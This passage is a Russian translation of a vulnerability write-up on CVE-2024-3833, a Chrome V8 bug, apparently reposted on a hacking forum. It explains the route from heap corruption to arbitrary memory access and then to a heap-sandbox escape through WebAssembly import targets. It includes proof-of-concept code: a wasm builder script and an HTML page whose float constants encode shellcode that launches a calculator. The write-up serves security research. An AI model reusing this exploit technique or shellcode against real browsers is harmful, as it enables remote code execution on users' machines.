из следующих шагов:

1. Сначала поставьте Object Array after corrupted_arr и используйте примитив чтения OOB в corrupted_arr для чтения адресов объектов, хранящихся в этом массиве. Это позволяет мне получить адрес любого объекта версии 8.

2. Поместите еще один двойной массив, writeArr после corrupted_arr, и используйте примитив записи OOB в corrupted_arr, чтобы перезаписать element поле writeArr в адрес объекта. Доступ к элементам writeArr затем позволяет мне читать / записывать по произвольным адресам.

Обход песочницы кучи v8
Недавно представленная песочница для кучи v8 изолирует кучу v8 от памяти других процессов, таких как исполняемый код, и предотвращает доступ к памяти за пределами кучи из-за повреждений памяти в куче v8. Чтобы ускорить выполнение кода, необходим способ избежать изолированной среды heap. Поскольку об ошибке было сообщено вскоре после конкурса Pwn2Own, я решил проверить коммиты, чтобы узнать, был ли какой-либо выход из песочницы, который был исправлен в результате конкурса. Конечно же, был коммит, который, по-видимому, исправлял экранирование heap sandbox escape, которое, как я предположил, использовалось для участия в конкурсе Pwn2Own.

При создании WebAssembly.Instance объекта объекты из Javascript или других модулей WebAssembly могут быть импортированы и использоваться в экземпляре:

Код: Скопировать в буфер обмена
Код:
const importObject = {
  imports: {
    imported_func(arg) {
      console.log(arg);
    },
  },
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);

В этом случае imported_func импортируется в экземпляр и может вызываться функциями WebAssembly, определенными в модуле WebAssembly, который их импортирует:

Код: Скопировать в буфер обмена
Код:
(module
  (func $i (import "imports" "imported_func") (param i32))
  (func (export "exported_func")
    i32.const 42
    call $i
  )

Чтобы реализовать это в версии 8, при создании WebAssembly.Instance , использовался FixedAddressArray для хранения адресов импортированных функций:

Код: Скопировать в буфер обмена
Код:
Handle WasmTrustedInstanceData::New(
    Isolate* isolate, Handle module_object) {
  ...
  const WasmModule* module = module_object->module();

  int num_imported_functions = module->num_imported_functions;
  Handle imported_function_targets =
      FixedAddressArray::New(isolate, num_imported_functions);
  ...

Который затем используется в качестве цели вызова при вызове импортированной функции. Поскольку это FixedAddressArray находится в куче v8, его можно легко изменить, как только я получу произвольные примитивы чтения и записи в куче v8. Таким образом, я могу переписать целевые объекты импортированной функции, чтобы при вызове импортированной функции в коде WebAssembly она переходила к адресу некоторого кода оболочки, который я подготовил для запуска выполнения кода.

В частности, если импортируемая функция является Math функцией Javascript, то некоторый код-оболочка компилируется и используется в качестве цели вызова в imported_function_targets:

Код: Скопировать в буфер обмена
Код:
bool InstanceBuilder::ProcessImportedFunction(
    Handle trusted_instance_data, int import_index,
    int func_index, Handle module_name, Handle import_name,
    Handle value, WellKnownImport preknown_import) {
    ...
    default: {
      ...
      WasmCode* wasm_code = native_module->import_wrapper_cache()->Get(   //kind() == WasmCode::kWasmToJsWrapper) {
        ...
      } else {
        // Встроенные математические функции Wasm компилируются как обычные функции Wasm.
        DCHECK(kind >= ImportCallKind::kFirstMathIntrinsic &&
               kind instance_object(),  //instruction_start());
      }

Поскольку скомпилированный код оболочки хранится в той же rx области, где хранится другой код WebAssembly, скомпилированный компилятором Liftoff, я могу создавать функции WebAssembly, которые хранят числовые данные, и переписывать imported_function_targets, чтобы перейти к середине этих данных, чтобы они интерпретировались как код и выполнялись. Идея аналогична JIT spraying, который был методом обхода изолированной среды heap, но с тех пор был исправлен. Поскольку код оболочки и код WebAssembly, который я скомпилировал, находятся в одной области, смещения между ними могут быть вычислены, это позволяет мне точно перейти к данным в коде WebAssembly, который я создал для выполнения произвольного кода оболочки.

Эксплойт можно найти здесь с некоторыми инструкциями по настройке.

wasm_poc.html
HTML: Скопировать в буфер обмена
Код:
<html>
<body>
<script>
const importObject = {
  imports: { imported_func : Math.sin},
};

var tag = new WebAssembly.Tag({parameters : ["i32", "i64"]});
//Generated using import_shell.js
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,136,2,2,6,0,32,0,16,0,11,254,1,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,49,246,49,210,49,192,235,29,251,14,0,32,0,65,1,68,104,108,99,0,0,144,235,32,251,14,0,32,0,65,2,68,104,47,120,99,97,88,235,32,251,14,0,32,0,65,3,68,104,47,98,105,110,91,235,32,251,14,0,32,0,65,4,68,144,144,72,193,224,32,235,32,251,14,0,32,0,65,5,68,72,1,216,80,84,95,235,32,251,14,0,32,0,65,6,68,86,87,84,94,144,144,235,32,251,14,0,32,0,65,7,68,104,58,48,46,48,144,235,32,251,14,0,32,0,65,8,68,104,76,65,89,61,88,235,32,251,14,0,32,0,65,9,68,104,68,73,83,80,91,235,32,251,14,0,32,0,65,10,68,144,72,193,224,32,144,235,32,251,14,0,32,0,65,11,68,72,1,216,80,84,144,235,32,251,14,0,32,0,65,12,68,65,90,82,65,82,84,235,32,251,14,0,32,0,65,13,68,90,184,59,0,0,0,235,32,251,14,0,32,0,65,14,68,15,5,90,49,210,82,235,32,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]
);
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
    dblArr[0] = f;
    return [intView[0], intView[1]];
}

import_shell.js
JavaScript: Скопировать в буфер обмена
Код:
d8.file.execute("/home/mmo/chrome_pocs/v8_test/wasm/wasm-module-builder.js");

const importObject = {
  imports: { imported_func : Math.sin},
};


var builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmF64, true);

var sig_index = builder.addType(kSig_d_d);

builder.addImport("imports", "imported_func", sig_index);
builder.addFunction("main", sig_index)
       .addBody([kExprLocalGet, 0, kExprCallFunction, 0])
       .exportAs("main");
//jumps: 0x45, 0x48 for d8
//0x1d, 0x20 for chrome
builder.addFunction("make_array", makeSig([], [wasmRefNullType(array)]))
         .addLocals(wasmRefNullType(array), 1)
         .addBody([kExprI32Const, 18, kGCPrefix, kExprArrayNewDefault, array, kExprLocalSet, 0,
                   kExprLocalGet, 0,
                   kExprI32Const, 0,
                   kExprF64Const, 0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xeb, 0x1d,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 1,
                   kExprF64Const, 0x68, 0x6c, 0x63, 0x00, 0x00, 0x90, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 2,
                   kExprF64Const, 0x68, 0x2f, 0x78, 0x63, 0x61, 0x58, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 3,
                   kExprF64Const, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x5b, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 4,
                   kExprF64Const, 0x90, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 5,
                   kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x5f, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 6,
                   kExprF64Const, 0x56, 0x57, 0x54, 0x5e, 0x90, 0x90, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 7,
                   kExprF64Const, 0x68, 0x3a, 0x30, 0x2e, 0x30, 0x90, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 8,
                   kExprF64Const, 0x68, 0x4c, 0x41, 0x59, 0x3d, 0x58, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 9,
                   kExprF64Const, 0x68, 0x44, 0x49, 0x53, 0x50, 0x5b, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 10,
                   kExprF64Const, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0x90, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 11,
                   kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x90, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 12,
                   kExprF64Const, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 13,
                   kExprF64Const, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0,
                   kExprI32Const, 14,
                   kExprF64Const, 0x0f, 0x05, 0x5a, 0x31, 0xd2, 0x52, 0xeb, 0x20,
                   kGCPrefix, kExprArraySet, array,
                   kExprLocalGet, 0])
         .exportFunc();

var wasmBuffer = builder.toBuffer(false);
var bufStr = '['
for (let i = 0; i < wasmBuffer.length - 1; i++) {
  bufStr += wasmBuffer[i] + ',';
}
bufStr += wasmBuffer[wasmBuffer.length - 1] + ']';
console.log(bufStr);

Заключение
В этом посте я рассмотрел CVE-2024-3833, ошибку, которая позволяет создавать дублирующиеся свойства в объекте версии 8, которая похожа на ошибку CVE-2021-30561. Хотя метод использования дублирующихся свойств в CVE-2021-30561 больше недоступен из-за улучшения безопасности кода, я смог использовать ошибку другим способом.

1. Сначала приведите дублирующиеся свойства в несоответствие между PropertyArray и его map свойствами объекта.

2. Затем это превращается в OOB-запись PropertyArray, которую я затем использовал для создания путаницы типов между Javascript Object и Javascript Array.

После получения доступа OOB в Javascript Array (corrupted_arr) довольно стандартно преобразовать это в произвольное чтение и запись внутри кучи v8. По сути, это состоит из следующих шагов.:

1. Сначала поставьте Object Array после corrupted_arr и используйте примитив чтения OOB в corrupted_arr для чтения адресов объектов, хранящихся в этом массиве. Это позволяет получить адрес любого объекта версии 8.

2. Поместите еще один двойной массив, writeArr после corrupted_arr, и используйте примитив записи OOB в corrupted_arr, чтобы перезаписать element поле writeArr в адрес объекта. Доступ к элементам writeArr затем позволяет читать / записывать по произвольным адресам.

Поскольку в v8 недавно была реализована "песочница кучи" v8, получения произвольного чтения и записи в память в куче v8 недостаточно для выполнения кода. Чтобы добиться выполнения кода, я перезаписал целевые объекты перехода импортированных функций WebAssembly, которые хранились в куче v8. Переписывая цели перехода в местоположения кода оболочки, я могу выполнить произвольный код, вызывающий импортированные функции в модуле WebAssembly.

Автор: Man Yue Mo
Оригинал: github.blog/2024-06-26-attack-of-the-clones-getting-rce-in-chromes-renderer-with-duplicate-object-properties/

Перевёл специально для XSS TROUBLE
 
Сверху Снизу